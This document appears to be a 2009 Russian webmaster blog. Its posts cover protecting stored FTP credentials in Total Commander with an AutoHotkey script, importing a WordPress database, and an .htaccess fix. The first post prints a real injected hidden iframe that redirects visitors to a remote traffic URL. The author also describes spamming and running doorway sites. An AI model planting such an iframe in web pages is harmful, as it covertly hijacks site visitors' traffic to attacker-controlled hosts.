пятница, 16 октября 2009 г.

Защита FTP в Total Commander'e

Достаточное количество веб-мастеров пострадало от ифреймов. Что такое ифрейм? Это обычная ссылка с html тэгом iframe, задачей которой является перенаправление трафика с вашего сайта на чужой. Я сам в свое время пострадал от ифрейма вида

<!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

На тему этого ифрейма был топик на searchengines.ru и вроде даже обнаружили владельца сайта, указанного в ифрейме. Как вставляется ифрейм в чужие сайты? Обычно с помощью получения доступа по ftp, а доступ этот сводится к краже файлов с учетными записями ftp с вашего персонального компьютера. У меня ftp акки сперли, поскольку я решил разок поспамить с домашнего компьютера с выключенным антивирусом – прочитал где-то, что это якобы безопасно, спамилка вроде трояны не загрузит. Оказалось не так. Лишился почти всех своих дорвеев, за исключением некоторых, которые были сделаны Forum Generator'ом – там ифрейм при внедрении не уничтожал страницу и находился ниже моего редиректа. На некоторых фрихостах (например, на t35.com) не разрешено менять пароли доступа и сейчас я могу наблюдать то, что заливают на место моих бывших доров.

Как же защититься от кражи ftp акков? Способов довольно много. Вот известные мне:

  1. Не выключать антивирус и сетевой экран
  2. Спамить и производить другие «вирусоопасные» операции с отдельного компьютера
  3. То же что и п.1, но использовать не отдельный компьютер, а виртуальную машину
  4. То же что и п. 1, но использовать две разные операционные системы на одном компьютере
  5. Хранить файлы с конфиденциальной информацией на отдельном внешнем носителе (флэшка, CD, карта памяти и т.п.)
  6. Настроить на своих сайтах доступ по ftp только с определенного IP
  7. Всегда вбивать пароли и логины руками (не защищает от кейлоггеров), а не хранить их в файлах
  8. Использовать малораспространенные программы, под которые троянов обычно не пишут или не настраивают. Например, вместо Total Commander'a использовать Speed Commander или Frigate
  9. Хранить файл с паролями на своем компьютере, но не в том каталоге, в котором его использует программа, а в другом каталоге. В момент необходимости переносить файл с паролями в нужный для конкретной программы каталог, а по окончании работы переносить вручную обратно.
  10. Использовать программы, создающие мастер-пароль, т.е. пароль, с помощью которого шифруются файлы с конфиденциальной информацией, но который сам по себе на компьютере не хранится, а запоминается пользователем наизусть.
  11. Использовать самописные программы (в нашем случае – ftp-менеджеры), под которые трояны не настраиваются ввиду неизвестности этих программ.
  12. Использовать программы, которые используют файлы с паролями аналогично пунктам 2 – 4, т.е. на отдельной ЭВМ, отдельной операционной системе или на виртуальной машине.
  13. Не хранить пароли в браузерах или, по крайней мере, регулярно браузеры обновлять.

После того как я потерял бóльшую часть своих дорвеев, я стал внимательнее относиться к безопасности компьютера. Сетевой экран и антивирус не выключаю и храню фал с паролями в другом месте, а когда надо копирую его в нужное место. То есть использую я пункты 1 и 9 из вышеприведенного списка. Пользуюсь я по-прежнему Total Commander'ом и встроенным в него ftp-менеджером, хотя именно оттуда у меня и украли пароли. Долгое время я вручную перебрасывал файл с ftp акками из одного каталога в другой и обратно, потом мне это надоело, и недавно я написал скрипт, который автоматизирует эту работу. Скрипт написан на языке autohotkey ( см. autohotkey.com ) и должен быть помещён в автозагрузку, чтобы он начинал работу при старте Windows.

Что вы должны сделать, чтобы использовать скрипт:

  1. Скачать установщик языка autohotkey ( Скачать установщик ) и установить autohotkey на свой компьютер.
  2. Скопировать код скрипта с моего блога в текстовый файл и сохранить этот файл с расширением .ahk. Название может быть любым.
  3. Прописать в скрипте путь к каталогу, к которому Total Commander обращается в поисках файла с ftp акками. У меня такой файл (wcx_ftp.ini) хранится в каталоге C:\Program Files\Total Commander\ .
  4. Прописать в скрипте путь к каталогу в котором вы будете хранить файл с ftp. В моем примере это каталог D:\FT
  5. Создать ярлык на на файл скрипта и поместить это ярлык в автозагрузку операционной системы.

При желании можете скомпилировать скрипт прилагаемым к программе компилятором. Если вы программист, то можете добавить к скрипту какой-нибудь дополнительный функционал, например файл конфигурации, функцию переименования файла с ftp при перемещении его в сторонний каталог (в моем скрипте - D:\FT), функцию перемещения файла с ftp в случайный каталог.

Вот и сам код:

;************************************************************
; AutoHotkey Version: 1.0.48.05
; Автор: harvik
; Имя скрипта: total.ahk
;************************************************************
; Назначение скрипта
; Хранение файла с ftp аккаунтами в месте, назначенном пользователем. Подгрузка этого файла в момент работы с ftp
; и возврат на место после завершения работы с ftp
;*************************************************************



;==========НАСТРОЙКИ ПОЛЬЗОВАТЕЛЯ ===========
;
Total_Path = C:\Program Files\Total Commander\ ; путь к каталогу, где Total Commander хранит файл с ftp
Total_Ftp = D:\FT\ ; путь к каталогу, где вы будете хранить файл c ftp аккаунтами
Ft = wcx_ftp.ini ; Название файла с ftp
;
; ========== КОНЕЦ НАСТРОЕК ПОЛЬЗОВАТЕЛЯ ========

; ========== Начало блока функций ===================

Sizes()
{
global

FileGetSize, size1, %Total_Path%%Ft%

FileGetSize, size2, %Total_Ftp%%Ft%

}

MoveTo() ; Перемещение файла с ftp аккаунтами в другой каталог
{
global Total_Path, Total_Ftp, Ft, size1, size2

Sizes()

IfExist, %Total_Path%%Ft%

{if size1 >= %size2% ;Сравнение размеров файлов с ftp в двух каталогах (папках)

FileMove, %Total_Path%%Ft%, %Total_Ftp%, 1

else FileDelete, %Total_Path%%Ft%

}

}


CopyFrom() ; Копирование файла с ftp аккаунтами в рабочий каталог Total Commander'а

{
global Total_Path, Total_Ftp, Ft, size1, size2

Sizes()

IfNotExist, %Total_Path%%Ft% OR size1 < %size2% ;Сравненние размеров файлов с ftp в двух каталогах (папках)

FileCopy, %Total_Ftp%%Ft%, %Total_Path%, 1

}

; ========== Конец блока функций ==============


#Persistent


Process, Priority,,L ; Установка низкого приоритета выполнения скрипта для снижения нагрузки на процессор.

IfNotExist, %Total_Ftp%
FileCreateDir, %Total_Ftp% ; Создание папки для хранения файла с ftp аккаунтами


TrayTip, Защита FTP акков, в Total Commander'е
Sleep, 5000
TrayTip


Begin:

MoveTo()
WinWait, ahk_class TTOTAL_CMD ;Ожидание загрузки Total Commander'а

IfWinExist, ahk_class TCONNECT

{

IfNotExist, %Total_Path%%Ft%

{
CopyFrom()
WinClose, ahk_class TCONNECT
WinWaitClose, ahk_class TCONNECT ; Пустое окошко "Соединение с FTP-сервером исчезает
IfWinExist, ahk_class TTOTAL_CMD
{
WinActivate, ahk_class TTOTAL_CMD ;
WinWaitActive, ahk_class TTOTAL_CMD
Send ^f ; Окошко "Соединение с FTP-сервером появляется уже со списком ваших FTP
Sleep, 5
}


}

}

else
{

MoveTo()
Goto, Begin

}

WinWaitClose, ahk_class TCONNECT

Goto, Begin


воскресенье, 21 июня 2009 г.

Импорт базы Wordpress’a

Если у вас есть готовая база Wordpress'a в формате .xml, то ее легко можно импортировать в другой блог. К сожалению, на хостинге может стоять ограничение по размеру загружаемого файла или по времени выполнения скрипта. Это обычно имеет место на бесплатных хостингах или на очень дешевых тарифных планах.

В этом случае, если файл импорта Wordpress достаточно большой по размерам, то полностью его импортировать не удастся.

В этом случае для импорта базы на новый блог придется воспользоваться средствами MySQL. Как добавить записи из файла импорта к уже существующим на блоге записям я пока не разбирался, поскольку на Wordpress'e я делаю сателлиты и база импортируется на пустой, без записей блог.

Для импорта же записей на новый блог (сателлит) я пользовался следующими шагами:


  1. Привязываем нужный домен на удаленный сервер (хостинг)

  2. Создаем базу данных на удаленном сервере

  3. Создаем на Denwer'e тот же (domain.ru) домен, что и на удаленном сервере.

  4. Создаем на Denwer'e базу MySQL с тем же именем, что и на удаленном сервере.

  5. Устанавливаем Wordpress на Denwer'e, используя домен и базу из пунктов 3 и 4

  6. Импортируем на Denwer'e файл .xml с записями

  7. В панели управления (на Denwer’e) MySQL (phpMyAdmin) экспортируем базу, не сжимая ее в архив

  8. Используя копипаст (команды Ctrl+A, Ctrl+C, Ctrl+V) импортируем базу MySQL в phpMyAdmin на удаленном сервере. Импорт копипастом проводится во вкладке SQL, а не во вкладке "Импорт" в phpMyAdmin. Прошу обратить внимание, что надо использовать именно копипаст, иначе при подгрузке архива zip или gzip могут случиться сбои и записи не импортируются нужным образом.

  9. Берем файл wp-config.php от блога на Denwer’е и вносим в него изменения в соответствии с параметрами доступа к базе данных на удаленном сервере.

  10. Закачиваем измененный wp-config.php и остальные файлы wordpress'a на удаленный сервер.

  11. Всё, устанавливать дальше блог не надо. Он уже работает. Пароль и логин доступа к панели управления блогом такие же как на Denwer'e. Все записи импортированы.

среда, 3 июня 2009 г.

Wordpress, Awardspace и ссылки

Если при установке блога Wordpress на хостинге awardspace.com вы выбрали стиль ссылок в виде папки, т. е. вида http://domen.ru/nazvanie-posta/, то такие ссылки работать не будут и при нажатие на них посетитель будет перебрасываться на страницу хостинга с указанием на 404-у ошибку.

Для придания работоспособности таким ссылкам необходимо внести изменения в файл .htaccess, находящийся в папке domen.ru/wp-content/themes, а именно:

заменить строку RewriteRule . /index.php [L]

на строку RewriteRule . index.php [L] т. е. Просто убрать обратную косую черту (/).

----------------------

Нашелся более простой способ. Достаточно изменить вид ссылок на ссылки по умолчанию, вида p?= , а потом на ссылки в виде папки (т. е. вот так /%postname%/ ). После этого навигация по страницам работает нормально.